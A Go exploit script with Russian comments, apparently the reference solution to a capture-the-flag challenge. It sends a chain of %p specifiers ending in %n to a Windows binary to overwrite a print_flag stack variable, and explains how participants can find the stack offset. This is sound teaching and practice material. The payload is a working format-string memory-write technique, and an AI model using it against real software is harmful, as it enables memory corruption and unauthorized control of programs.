/*
Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так:

    fmt_str (в RCX)

    0xdeadbeef (в RDX)

    Мусор или старые значения (в R8)

    Мусор (в R9)

    Shadow Space (32 байта на стеке)

    Локальные переменные main (среди которых указатель print_flag).

Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится.
*/

package main

import (
	"bytes"
	"log"
	"winpwn"
)

func main() {
	// Спавним локальный процесс (потом можно заменить на winpwn.Remote)
	tube, err := winpwn.Spawn("fs3_win.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	// Оффсет: сколько спецификаторов %p нужно напечатать,
	// чтобы следующий элемент указывал на переменную print_flag.
	// Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf).
	// Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету.
	offset := 12

	// Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n"
	// Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека.
	// Последний %n запишет число по адресу, лежащему на стеке (наш print_flag).
	var payload bytes.Buffer
	for i := 0; i < offset-1; i++ {
		payload.WriteString("%p ")
	}
	payload.WriteString("%n\n")

	// Отправляем форматную строку
	if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
		log.Fatalf("SendLineAfter: %v", err)
	}

	// Перехватываем управление, чтобы увидеть вывод флага
	tube.Interactive()
}

/*
Как участникам искать offset?

Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала.
Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде:
AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0...

Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n.
*/
